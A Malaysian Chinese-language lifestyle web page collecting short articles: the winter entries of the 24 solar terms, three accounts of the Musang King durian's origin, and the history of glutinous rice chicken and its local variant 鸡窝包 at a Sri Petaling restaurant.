小雪（阳历11月22/23日）：
天空开始下起小雪，许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物，如葡萄，包菜开始收成。
大雪（阳历12月7/8日）：
雪越下越大了，是阴气最旺盛的时候。但是也代表阳气开始萌生，一些猛兽开始求偶交配。
冬至（阳历12月21/22日）：
冬至是北半球白天最短的日子，过后阴气开始消散，阳气开始生长。是中华民族庆祝团圆的重要节日。
小寒（阳历1月5/6日）：
代表一年中最冷的日子要到了，喜鹊也开始飞到住家门前筑巢，人们看到喜鹊就知道冬天快要结束，新年要到了。
大寒（阳历1月20/21日）：
一年中最后一个节气，也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量，原本只是表面结冰的湖泊现在连水下都结冻了。
看完这些美丽的二十四节气插画和解说，你是不是对这个记录一年气象的古老系统有更多理解了呢？喜欢的话，赶快把这篇文章分享给朋友吧！
猫山王的由来为何会如此众说纷纭？关于猫山王起源地的3种说法，你相信哪一个？
说到榴莲，相信大马不论是国内外的朋友，第一个想到的就是猫山王；而说到猫山王，就想到大马重要的猫山王产地：彭亨州劳勿（Raub）。但是，关于猫山王这个榴莲品种的起源一直是众说纷纭，小编就整理了几个常见的说法，大家觉得哪一个最有道理呢？
彭亨州劳勿
自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用，甚至拿来请香港首富李嘉诚被媒体大肆报导后，猫山王的名气和身价瞬间如鲤鱼跃龙门一样，国内外皆知，也带动了彭亨州劳勿这个小镇的名气。
作为猫山王的重要产地，很自然而然的劳勿，尤其是双溪吉流（Sungai Klau）和双溪兰（Sungai Ruan）地区，被认为是猫山王的发源地。其实早在90年代之前，当地的农民并非以种植榴莲为生，而是主要种植可可树，并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少，许多农民转而栽种榴莲，主要栽种的品种是D24。
一直到一个从吉兰丹州话望生（Gua Musang）带回劳勿栽种的品种渐渐出了名，大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生，所以把这个果肉厚，种子小，肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下，变成了谐音的猫山王。
吉兰丹州话望生
上世纪60，70年代，吉兰丹州的话望生树桐业兴盛，吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲，味道香浓，于是将树眼带回劳勿，成为劳勿第一批种植该品种的先驱，并在日后将它命名为毛生种，也就是猫山王的前身。
另一个关于“猫山王”的名字由来，也是和Gua Musang脱不了关系。据说，当地甘榜的马来同胞会把熟透的榴莲放入果子狸（Musang）的笼子里。如果是猫山王的话，果子狸闻了会大为兴奋，所以就用Musang的谐音，称为猫山王。
吉兰丹州丹那美拉
虽然普遍上，许多人相信猫山王发源自劳勿或话望生，但根据考察，猫山王这个品种，其实是来自栽种在吉兰丹州丹那美拉（Tanah Merah）欢庆岛（Pulau Raya）上的品种：黄姜榴莲（Durian Kunyit）。
根据岛上被称为“岛主”的庄登文先生表示，欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根，并种下黄姜榴莲的树苗，并演变出属于同种的猫山王。
据悉，往年懂门道的食客会在榴莲季节为猫山王抢破头时，前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁，让岛上的果树都受到重创，现在岛上已经很难吃到黄姜榴莲。
这样看下来的话，其实这3种说法都没有冲突。唯一要在意的是，当我们在讨论猫山王的起源时，我们谈的是“猫山王”这个品种，还是这个名称呢？如果是品种，那它就是发源自吉兰丹州丹那美拉；如果是名称，则是彭亨州劳勿；名称的意思，指的则是吉兰丹州话望生。这样，有比较明白吗？如果你好像了解猫山王多一点的话，就赶快文章分享出去吧！
参考资料：DisoverRaubv ，星洲日报1，星洲日报2
糯米鸡竟然是整百年来没变过的活化石？！你又知道鸡窝包是怎么来的吗？
Cover Image via uf.cari.com.my
糯米鸡不管是在港式点心店还是街头巷尾的华人茶室，都能轻易被找到，可说是有蒸笼的地方就能找到糯米鸡。但是，你可知道这要吃就能吃到的早餐：糯米鸡，可是足足有上百年历史的传统美食？
根据大马本地知名美食家林金城先生的文献，糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是，糯米鸡最初是小贩在夜市沿街叫卖的小吃，满足馋嘴食客的宵夜。小贩们把糯米饭，鸡肉，叉烧和冬菇等馅料蒸熟，即可享用。
糯米鸡 （source：JennyOng食谱）
后来这道小吃在广东，香港等地盛行开来，也从夜市走入茶楼，饭馆，宴会中。于是，为了清理碗盘的方便，出现了以荷叶包裹，类似荷叶饭的糯米鸡。但是，由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法，以致我们今天还能吃到呈包装（倒过来的碗装）糯米鸡，馅料也保留了鸡肉，叉烧，冬菇这些主要馅料。所以，糯米鸡这道超级普遍的早点，可说是一道不折不扣的活化石呢！
鸡窝包（source：有人部落 ）
当然，糯米鸡在马来西亚也演化出本地独有的版本：鸡窝包！发源于雪隆大城堡（Sri Petaling）的大家城茶餐室，鸡窝包正是这里的招牌点心。鸡窝包的外表看起来，就像一个包着糯米鸡的打包。其实，店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身，在里面放入鸡肉，叉烧，冬菇，咸蛋黄等，铺上糯米去蒸。
蒸熟后从蒸碗里倒出，从地下看是厚实的糯米包底，从上面则可以从店家剪开的开口中，一窥包里乾坤，看到躲藏在里面的鸡肉和馅料，就像是一个鸡窝一样，所以取名叫做鸡窝包。鸡窝包推出后，立即挂起一阵旋风，让其他的茶楼，茶室纷纷仿效，连远在雪隆区的茶室也都有机会吃到。
窝仔包和黄金包（source：3atnow）
除了把糯米鸡包进大包里，创意无限的大家城茶楼老板：聂城先生除了鸡窝包这个得意之作外，也推出将马拉糕包进包子里，再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心，都能看到老板对于在传统美食中注入创新的热忱。
如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包，记得找个机会到大城堡，试试看最正宗的味道哦！
大家城点心茶楼
创始年：2002年
地址：140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur
营业时间：08:00pm – 2:00pm
参考资料：有人部落 ，叉烧柄的美食天堂 ，维基百科
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